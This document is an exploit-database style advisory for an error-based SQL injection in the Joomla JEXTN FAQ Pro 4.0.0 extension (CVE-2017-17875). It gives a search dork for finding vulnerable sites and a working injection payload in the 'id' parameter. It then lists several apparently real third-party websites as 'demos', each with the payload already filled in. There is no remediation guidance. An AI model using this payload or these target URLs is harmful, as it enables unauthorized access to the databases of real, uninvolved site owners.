## Title: Joomla JEXTN FAQ Pro 4.0.0 - Error Based ## Dork: inurl:"com_jefaqpro" ## Date published: 29/01/2018 ## Credit: Informacion-Anonymous ## Vendor: http://jextn.com/ ## Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/faq/jextn-faq-pro/ ## Version: 4.0.0 ## Category: Webapps ## Tested on: WiN7_x64/KaLiLinuX_x64 ## CVE: CVE-2017-17875 ## CWE: CWE-89 ## Exploit Author: Ihsan Sencan ### # Description: # The vulnerability allows an attacker to inject sql commands error based #### P00f -- http://localhost/[PATH]/index.php?option=com_jefaqpro&view=category&id=[SQL]&Itemid=494 ## +OR+1+GROUP+BY+CONCAT_WS(0x3a,0x496873616e53656e63616e,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1 ### Dem0s: ++- uasrc.org/index.php?option=com_jefaqpro&view=category&id=73+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=224 ++- www.dataqualitynetwork.net/index.php?option=com_jefaqpro&view=category&id=16+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=494 ++- mdwconstruction.ca/index.php?option=com_jefaqpro&view=category&id=11+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=120 ++- http://www.tcoirsbeek.nl/index.php?option=com_jefaqpro&view=category&id=102+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=376 ++- http://greakerdalen.no/index.php?option=com_jefaqpro&view=category&id=69+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=314 ++- http://www.babousalam.it/index.php?option=com_jefaqpro&view=category&id=55+OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1&Itemid=184 +--------------------------------------------------------------------------------------------------------+